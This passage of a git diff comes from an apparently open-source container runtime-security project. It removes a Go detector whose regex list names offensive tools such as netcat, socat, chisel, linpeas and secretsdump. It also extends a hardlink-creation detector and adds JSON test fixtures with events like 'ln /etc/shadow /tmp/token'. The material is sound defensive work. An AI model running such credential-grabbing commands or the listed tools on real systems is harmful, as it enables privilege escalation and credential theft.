peirates. The detector may be triggered simultaneously with CS_RT_HACK_TOOLS. They may be merged later." - Version = 2 - Author = "Runtime Radar Team" - - License = "Apache License 2.0" -) - -const ( - // UID of superuser - rootUID = 0 - // GID of superuser - rootGID = 0 -) - -var ( - // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions - // which will be used by Detector. If function names are not applicable for - // a particular event type, such as "PROCESS_EXEC", leave slice empty or use - // wildcard "*". - triggerCriteria = map[string][]string{ - "PROCESS_EXEC": {}, - - // Examples: - // - // "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, - // In order to process all possible functions leave right-hand part empty or use wildcard "*": - // "PROCESS_EXEC": {}, - // same as: - // "PROCESS_EXEC": {"*"}, - } -) - -var ( - hackTools = []*regexp.Regexp{ - // sudo and su are rarely used in runtime, containers are either rooted or rootless with no need to escalate privileges for a normal user. - regexp.MustCompile(`/su(do)?$`), - - // These tools are supposed to be mostly malicious in general or in the context of containers and k8s environment. - // network scan - regexp.MustCompile(`/(a|n|zen)map$`), - regexp.MustCompile(`/masscan$`), - regexp.MustCompile(`/fscan$`), - - // proxies - regexp.MustCompile(`/3proxy$`), - regexp.MustCompile(`/agent$`), // ligolo-ng - regexp.MustCompile(`/chisel$`), - regexp.MustCompile(`/graftcp-local$`), - regexp.MustCompile(`/mgraftcp$`), - regexp.MustCompile(`/pivotnacci$`), - regexp.MustCompile(`/proxy$`), // ligolo-ng - regexp.MustCompile(`/proxychains[0-9]*$`), - regexp.MustCompile(`/proxytunnel$`), - regexp.MustCompile(`/regeorg$`), - regexp.MustCompile(`/ssfd?$`), - regexp.MustCompile(`/sshuttle$`), - - // remote fileless execution - regexp.MustCompile(`/fee$`), - - // bruteforce - regexp.MustCompile(`/enumiax$`), - regexp.MustCompile(`/hydra$`), - - // system information discovery - regexp.MustCompile(`/enum4linux$`), - regexp.MustCompile(`/lynis$`), - regexp.MustCompile(`/mxtract$`), - regexp.MustCompile(`/volatility\S*$`), - - // wi-fi - regexp.MustCompile(`/air(crack|mon|odump|olib)-ng$`), - regexp.MustCompile(`/airgeddon$`), - regexp.MustCompile(`/rsf$`), - - // mitm - regexp.MustCompile(`/arp\.spoof$`), - regexp.MustCompile(`/bdfproxy$`), - regexp.MustCompile(`/bettercap$`), - regexp.MustCompile(`/ettercap$`), - regexp.MustCompile(`/evilginx$`), - regexp.MustCompile(`/net\.sniff$`), - regexp.MustCompile(`/responder\S*$`), - regexp.MustCompile(`/ticker\.(commands|period)$`), - regexp.MustCompile(`/wifi\.recon$`), - - // pentest utils - regexp.MustCompile(`/msf(console|pc|venom)$`), - regexp.MustCompile(`/pypykatz\S*$`), - - // web - regexp.MustCompile(`/beef$`), - regexp.MustCompile(`/commix$`), - regexp.MustCompile(`/dir(b|buster|search)$`), - regexp.MustCompile(`/gobuster$`), - regexp.MustCompile(`/nikto\S*$`), - regexp.MustCompile(`/openvas$`), - regexp.MustCompile(`/phpsploit$`), - regexp.MustCompile(`/skipfish$`), - regexp.MustCompile(`/wpscan$`), - - // sql - regexp.MustCompile(`/sqlmap$`), - - // accounts - regexp.MustCompile(`/hashcat$`), - regexp.MustCompile(`/patator\S*$`), - regexp.MustCompile(`/unshadow$`), - - // social engineering - regexp.MustCompile(`/setoolkit$`), - - // post exploitation - regexp.MustCompile(`/empire$`), - regexp.MustCompile(`/ghost$`), - - // pcap analysis - regexp.MustCompile(`/xplico$`), - - // ssh - regexp.MustCompile(`/sshprank$`), - - // windows - regexp.MustCompile(`/spraykatz$`), - - // netcat - regexp.MustCompile(`/nc(at|\.traditional)?$`), - regexp.MustCompile(`/netcat$`), - regexp.MustCompile(`/pwncat$`), - - // ldap - regexp.MustCompile(`/ldapper$`), - - // linux privesc - regexp.MustCompile(`/beroot`), - regexp.MustCompile(`/linpeas\S*$`), - regexp.MustCompile(`/lin(ux)?privchecker$`), - regexp.MustCompile(`/privesc$`), - regexp.MustCompile(`/traitor$`), - - // lateral movement - regexp.MustCompile(`/atexec$`), - regexp.MustCompile(`/dcomexec$`), - regexp.MustCompile(`/esentutl$`), - regexp.MustCompile(`/get(adusers|arch|npusers|osandsmbproperties|userspns)$`), - regexp.MustCompile(`/lookupsid$`), - regexp.MustCompile(`/mmcexec$`), - regexp.MustCompile(`/ntfs-read$`), - regexp.MustCompile(`/ntlmrelayx$`), - regexp.MustCompile(`/samrdump$`), - regexp.MustCompile(`/secretsdump$`), - regexp.MustCompile(`/smb(client|exec|relayx|server)$`), - regexp.MustCompile(`/ticketer$`), - regexp.MustCompile(`/wmi(exec|persist|query)$`), - - // persistence - regexp.MustCompile(`/nohup$`), - - // netbios - regexp.MustCompile(`/nbtscan$`), - - // dns - regexp.MustCompile(`/dns(enum|map|recon)$`), - - // network traffic dumping - regexp.MustCompile(`/tcpdump$`), - regexp.MustCompile(`/wireshark$`), - - // network packets manipulation - regexp.MustCompile(`/hping\S*$`), - regexp.MustCompile(`/socat$`), - - // virus tools - regexp.MustCompile(`/vanish\S*$`), - - // k8s and container runtimes - regexp.MustCompile(`/kubectl$`), - regexp.MustCompile(`/nsenter$`), - regexp.MustCompile(`/peirates$`), - regexp.MustCompile(`/unshare$`), - regexp.MustCompile(`/cdk$`), - regexp.MustCompile(`/deepce\S*$`), - } - - // suspDirs contains directories that normally do not contain binaries. - suspDirs = []glob.Glob{ - glob.MustCompile("/home/*"), - glob.MustCompile("/tmp/*"), - glob.MustCompile("/var/*"), - glob.MustCompile("/boot/*"), - glob.MustCompile("/media/*"), - glob.MustCompile("/mnt/*"), - glob.MustCompile("/srv/*"), - glob.MustCompile("/sys/*"), - glob.MustCompile("/dev/*"), - glob.MustCompile("/run/*"), - glob.MustCompile("/sys/*"), - } - - runcInitBinPattern = glob.MustCompile("/dev/fd/*") - - nohupBin = glob.MustCompile(`*/nohup`) -) - -// main is required for TinyGo to compile to Wasm. -func main() { - api.RegisterDetector(Detector{}) -} - -type Detector struct{} - -func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { - return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, - }, nil -} - -func (d Detector) TriggerCriteria(ctx context.Context, req *api.TriggerCriteriaReq) (*api.TriggerCriteriaResp, error) { - resp := &api.TriggerCriteriaResp{ - Criteria: make(map[string]*api.TriggerCriteriaResp_FuncNames, len(triggerCriteria)), - } - - for k, v := range triggerCriteria { - resp.Criteria[k] = &api.TriggerCriteriaResp_FuncNames{FuncNames: v} - } - - return resp, nil -} - -func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectResp, error) { - // Detector info added to DetectResp because detector info is always correlated to response, thus - // to avoid +1 Wasm call on detect. - resp := &api.DetectResp{ - // Default response indicates that nothing detected (this is redundant and put here just for reference, - // as Severity == api.DetectResp_NONE == 0 when omitted (default zero value)). - Severity: api.DetectResp_NONE, - } - - event := req.GetEvent().GetEvent() - - switch ev := event.(type) { - case *tetragon.GetEventsResponse_ProcessExec: - exec := ev.ProcessExec - - binary := exec.GetProcess().GetBinary() - parentBinary := exec.GetParent().GetBinary() - - args := exec.GetProcess().GetArguments() - parentArgs := exec.GetParent().GetArguments() - - // exclude runc init container - if runcInitBinPattern.Match(binary) && args == "init" && parentBinary == "/proc/self/exe" && parentArgs == "init" { - return resp, nil - } - - // trigger on explicit hacker utility name - for _, ht := range hackTools { - if ht.MatchString(binary) { - resp.Severity = api.DetectResp_CRITICAL // <-- threat detected - return resp, nil - } - } - - // trigger on binary with setuid bit - if suid := exec.GetProcess().GetBinaryProperties().GetSetuid(); suid != nil { - if suid.Value == rootUID { - resp.Severity = api.DetectResp_MEDIUM // <-- threat detected - return resp, nil - } - } - - // trigger on binary with setgid bit - if sgid := exec.GetProcess().GetBinaryProperties().GetSetgid(); sgid != nil { - if sgid.Value == rootGID { - resp.Severity = api.DetectResp_MEDIUM // <-- threat detected - return resp, nil - } - } - - // trigger on process from suspicious directories - for _, dir := range suspDirs { - if dir.Match(binary) { - resp.Severity = api.DetectResp_MEDIUM // <-- threat detected - return resp, nil - } - } - - // trigger on binary if its parent binary is nohup - if nohupBin.Match(parentBinary) { - resp.Severity = api.DetectResp_MEDIUM // <-- threat detected - return resp, nil - } - - return resp, nil - - case *tetragon.GetEventsResponse_ProcessExit: - // Nothing here - case *tetragon.GetEventsResponse_ProcessKprobe: - // Nothing here - case *tetragon.GetEventsResponse_ProcessTracepoint: - // Nothing here - } - - return resp, nil -} - -/* Example event (JSON): - -{ - "process_exec": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODcxMzAxODE0NzIwMTU6MTcxMzg1MA==", - "pid": 1713850, - "uid": 0, - "cwd": "/", - "binary": "/tmp/linpeas.sh", - "arguments": "/tmp/linpeas.sh", - "flags": "execve rootcwd clone", - "start_time": "2024-03-22T12:19:16.974922315Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 60345, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODY1NjA1MDI5Mzg4NDQ6MTcwODI4Mg==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1713850, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODY1NjA1MDI5Mzg4NDQ6MTcwODI4Mg==", - "pid": 1708282, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-03-22T12:09:47.296389046Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 60319, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODY1NjA1MDE4MjQ1Mjc6MTcwODI4Mg==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1708282, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "ancestors": [] - }, - "node_name": "experts-k8s-cs", - "time": "2024-03-22T12:19:16.974922129Z", - "aggregation_info": null -} - -*/ diff --git a/event-processor/detector/wasm/CS_RT_HARDLINK_CREATE/main.go b/event-processor/detector/wasm/CS_RT_HARDLINK_CREATE/main.go index 2c0d37ca..0d05267e 100644 --- a/event-processor/detector/wasm/CS_RT_HARDLINK_CREATE/main.go +++ b/event-processor/detector/wasm/CS_RT_HARDLINK_CREATE/main.go @@ -4,6 +4,7 @@ package main import ( "context" + "fmt" "github.com/runtime-radar/runtime-radar/event-processor/detector/api" "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" @@ -11,13 +12,18 @@ import ( const ( ID = "CS_RT_HARDLINK_CREATE" - Name = "Creation of hard links to sensitive system files" - Description = "The detector detects if hard links to sensitive system files were created, which may indicate an attacker's attempt to bypass the existing file monitoring rules." + Name = "Creation of hard links to system files" + Description = "The detector detects if hard links to system files were created, which may indicate an attacker's attempt to bypass the existing file monitoring rules." Version = 1 Author = "Runtime Radar Team" License = "Apache License 2.0" ) +const ( + KprobeNoArgs = "Detected that the hard link `%s` to the `%s` file was created by the `%s` process" + KprobeDefault = "Detected that the hard link `%s` to the `%s` file was created by the `%s` process, which was started using the `%s` arguments" +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -36,8 +42,19 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0005", + Techniques: []string{ + "T1562", + }, + }, + } +) + +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -45,12 +62,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -84,19 +102,25 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() - - switch function { - case "security_path_link": + args := kprobe.GetArgs() + + if function == "security_path_link" { + resp.TacticsCovered = mitreTactics + file := args[0].GetPathArg().GetPath() + hardlink := args[1].GetPathArg().GetPath() + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeNoArgs, hardlink, file, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeDefault, hardlink, file, binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected - return resp, nil - default: return resp, nil } - return resp, nil - case *tetragon.GetEventsResponse_ProcessTracepoint: // Nothing here } @@ -104,315 +128,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): -{ - "process_kprobe": { - "process": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZTo3NzM0MzkzMDM4MDk5MzMyOjUyMDAzOA==", - "pid": 520038, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/ln", - "arguments": "/etc/shadow /tmp/token", - "flags": "execve rootcwd clone", - "start_time": "2025-12-10T07:55:01.513635226Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://30af0bcafcdec812b8ed60f86b3ccdbd54da68e48152bedd79e4aa1751acdcb4", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-09-11T19:30:01Z", - "pid": 144, - "maybe_exec_probe": false, - "security_context": { - "privileged": false - } - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod", - "pod_annotations": {} - }, - "docker": "30af0bcafcdec812b8ed60f86b3ccdb", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZTo3NzMwOTU4MTU3OTcwMTY4OjMzMDIyNw==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534078, - "is_host": false - }, - "ipc": { - "inum": 4026534079, - "is_host": false - }, - "mnt": { - "inum": 4026534081, - "is_host": false - }, - "pid": { - "inum": 4026534082, - "is_host": false - }, - "pid_for_children": { - "inum": 4026534082, - "is_host": false - }, - "net": { - "inum": 4026534018, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026534083, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 520038, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null, - "in_init_tree": false - }, - "parent": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZTo3NzMwOTU4MTU3OTcwMTY4OjMzMDIyNw==", - "pid": 330227, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2025-12-10T06:57:46.633506777Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://30af0bcafcdec812b8ed60f86b3ccdbd54da68e48152bedd79e4aa1751acdcb4", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-09-11T19:30:01Z", - "pid": 104, - "maybe_exec_probe": false, - "security_context": { - "privileged": false - } - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod", - "pod_annotations": {} - }, - "docker": "30af0bcafcdec812b8ed60f86b3ccdb", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZTo3NzMwOTU4MTUzMTU4MzQ1OjMzMDIyNw==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534078, - "is_host": false - }, - "ipc": { - "inum": 4026534079, - "is_host": false - }, - "mnt": { - "inum": 4026534081, - "is_host": false - }, - "pid": { - "inum": 4026534082, - "is_host": false - }, - "pid_for_children": { - "inum": 4026534082, - "is_host": false - }, - "net": { - "inum": 4026534018, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026534083, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 330227, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null, - "in_init_tree": false - }, - "function_name": "security_path_link", - "args": [ - { - "path_arg": { - "mount": "", - "path": "/etc/shadow", - "flags": "", - "permission": "-rw-r-----" - }, - "label": "existing file" - }, - { - "path_arg": { - "mount": "", - "path": "/tmp/token", - "flags": "", - "permission": "---------" - }, - "label": "new hard link" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "file-monitoring", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [], - "ancestors": [] - }, - "node_name": "experts-k8s-cs", - "time": "2025-12-10T07:55:01.526266305Z", - "aggregation_info": null, - "cluster_name": "", - "node_labels": { - "beta.kubernetes.io/arch": "amd64", - "beta.kubernetes.io/os": "linux", - "kubernetes.io/arch": "amd64", - "kubernetes.io/hostname": "experts-k8s-cs", - "kubernetes.io/os": "linux", - "node-role.kubernetes.io/control-plane": "", - "node.kubernetes.io/exclude-from-external-load-balancers": "" - } +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } -*/ diff --git a/event-processor/detector/wasm/CS_RT_HARDLINK_CREATE/testdata/negative_wrong_func.json b/event-processor/detector/wasm/CS_RT_HARDLINK_CREATE/testdata/negative_wrong_func.json new file mode 100644 index 00000000..e3d73493 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_HARDLINK_CREATE/testdata/negative_wrong_func.json @@ -0,0 +1,36 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/ln", + "arguments": "/etc/shadow /tmp/shadowcopy" + }, + "function_name": "security_path_symlink", + "args": [ + { + "path_arg": { + "path": "/etc/shadow" + } + }, + { + "path_arg": { + "path": "/tmp/shadowcopy" + } + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_HARDLINK_CREATE/testdata/positive_ln_shadow_hardlink.json b/event-processor/detector/wasm/CS_RT_HARDLINK_CREATE/testdata/positive_ln_shadow_hardlink.json new file mode 100644 index 00000000..e8183594 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_HARDLINK_CREATE/testdata/positive_ln_shadow_hardlink.json @@ -0,0 +1,311 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRjcy1tYXN0ZXItbm9kZTo3NzM0MzkzMDM4MDk5MzMyOjUyMDAzOA==", + "pid": 520038, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/ln", + "arguments": "/etc/shadow /tmp/token", + "flags": "execve rootcwd clone", + "start_time": "2025-12-10T07:55:01.513635226Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "containerd://30af0bcafcdec812b8ed60f86b3ccdbd54da68e48152bedd79e4aa1751acdcb4", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2025-09-11T19:30:01Z", + "pid": 144, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "30af0bcafcdec812b8ed60f86b3ccdb", + "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZTo3NzMwOTU4MTU3OTcwMTY4OjMzMDIyNw==", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534078, + "is_host": false + }, + "ipc": { + "inum": 4026534079, + "is_host": false + }, + "mnt": { + "inum": 4026534081, + "is_host": false + }, + "pid": { + "inum": 4026534082, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534082, + "is_host": false + }, + "net": { + "inum": 4026534018, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534083, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 520038, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null, + "in_init_tree": false + }, + "parent": { + "exec_id": "cHRjcy1tYXN0ZXItbm9kZTo3NzMwOTU4MTU3OTcwMTY4OjMzMDIyNw==", + "pid": 330227, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2025-12-10T06:57:46.633506777Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "containerd://30af0bcafcdec812b8ed60f86b3ccdbd54da68e48152bedd79e4aa1751acdcb4", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2025-09-11T19:30:01Z", + "pid": 104, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "30af0bcafcdec812b8ed60f86b3ccdb", + "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZTo3NzMwOTU4MTUzMTU4MzQ1OjMzMDIyNw==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534078, + "is_host": false + }, + "ipc": { + "inum": 4026534079, + "is_host": false + }, + "mnt": { + "inum": 4026534081, + "is_host": false + }, + "pid": { 